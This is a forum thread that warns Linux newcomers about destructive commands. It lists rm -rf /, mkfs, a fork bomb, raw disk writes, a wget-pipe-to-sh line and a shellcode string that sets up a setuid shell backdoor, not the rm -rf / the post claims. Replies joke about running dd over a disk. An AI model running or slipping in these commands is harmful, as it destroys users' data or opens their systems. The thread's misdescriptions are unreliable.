Page 1 of 2 12 LastLast
Results 1 to 10 of 17

Thread: the 7 deadly linux commands

  1. #1
    Join Date
    Jun 2010
    Posts
    1,332
    Rep Power
    0

    Default the 7 deadly linux commands

    ok i am not sure if this was posted previously as a topic for discussion so forgive me if i have made an error. thought this may be useful to the linux newbies who may just be a victim of any form of malicious attack in the form of a practical joke or otherwise

    If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

    1. Code:

    Code:
    rm -rf /
    This command will recursively and forcefully delete all the files inside the root directory.

    2. Code:

    Code:
    char esp[] __attribute__ ((section(".text"))) /* e.s.p
    release */
    = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
    "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
    "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
    "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
    "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
    "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
    "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;";
    This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

    3. Code:

    Code:
    mkfs.ext3 /dev/sda
    This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

    4. Code:

    Code:
    :(){:|:&};:
    Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

    5. Code:

    Code:
    any_command > /dev/sda
    With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

    6. Code:

    Code:
    wget http://some_untrusted_source -O- | sh
    Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

    7. Code:

    Code:
    mv /home/yourhomedirectory/* /dev/null
    This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.


    read more here:http://www.junauza.com/2008/11/7-dea...-commands.html
    Last edited by Arch_Angel; Jul 21, 2010 at 02:28 PM. Reason: added code tags

  2. #2
    Join Date
    Sep 2005
    Posts
    2,394
    Rep Power
    0

    Default

    yow i tell u the terminal is a dangerous thing if not aware of wat u doing?
    To find what you seek in the road of life, the best proverb of all is that which says: "Leave no stone unturned." Edward Bulwer Lytton

  3. #3
    Join Date
    Mar 2008
    Posts
    1,529
    Rep Power
    0

    Default

    Word, I especially like the last one (7). lol
    Respawned: Asrock Z77 EX6_i5 2500K_XSPC Watercooled_16GB Vengence DDR3_2xCrucial M4 64gb ssd Raid0(os) 3TBs(stor)_Corsair AX860_MSI GTX 760_2x Asus 23.6" LED_Win8
    Computers-Incredibly fast accurate & stupid. Humans-Incredibly slow,inaccurate & brilliant. Together we are powerful beyond imagination

  4. #4
    igodit Guest

    Default

    How often have either one of you used one of those commands, intentionally or mistakenly?

  5. #5
    Join Date
    Aug 2002
    Posts
    6,223
    Rep Power
    0

    Default

    Each one of those should sound a warning bell if you have some idea of the command line.
    .
    PC - Ubuntu 15.04 64bit Desktop
    HP Pav G60-236US 3GB RAM Laptop, Ubuntu 15.04 64bit and Win7 Home

    "So Daddy, how come you telling me stealing not right when YOU copying DVDs? How come? How Come?"


    RIP Ramesh ...

  6. #6
    Join Date
    Oct 2004
    Posts
    399
    Rep Power
    0

    Default

    Somebady try this one and see if it works..I'm not sure does.lol
    sudo dd if=/dev/zero of=/dev/hda
    My Speakers Can't Live If The SubWoofer Doesn't Breathe -Gary Lawrence
    http://www.youtube.com/GaryLawrence0
    http://www.reverbnation.com/garylawrence
    http://www.online.com.jm

  7. #7
    Join Date
    Sep 2003
    Posts
    2,849
    Rep Power
    0

    Default

    I haven't done any of those, but once I was compressing some files and forgot the . wasn't pretty.

    So instead of compressing ./etc i ended up compressing /etc

    Was quickly recovered with a live cd after un-tarring the files
    starry heavens above and the moral law within
    Open source!
    dmitridawkins.com

  8. #8
    Join Date
    Jul 2002
    Posts
    1,395
    Rep Power
    0

    Default

    Quote Originally Posted by Gnostic View Post
    Somebady try this one and see if it works..I'm not sure does.lol
    sudo dd if=/dev/zero of=/dev/hda
    It doesn't do anything when I try it? what's hda? what's sda? think i should change hda to sda?

  9. #9
    Join Date
    Aug 2002
    Posts
    6,223
    Rep Power
    0

    Default

    If the drive is mounted I doubt that command would work.
    .
    PC - Ubuntu 15.04 64bit Desktop
    HP Pav G60-236US 3GB RAM Laptop, Ubuntu 15.04 64bit and Win7 Home

    "So Daddy, how come you telling me stealing not right when YOU copying DVDs? How come? How Come?"


    RIP Ramesh ...

  10. #10
    Join Date
    Mar 2007
    Posts
    134
    Rep Power
    0

    Default

    sudo dd if=/dev/zero of=/dev/hda
    will work even if the drive is mounted.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •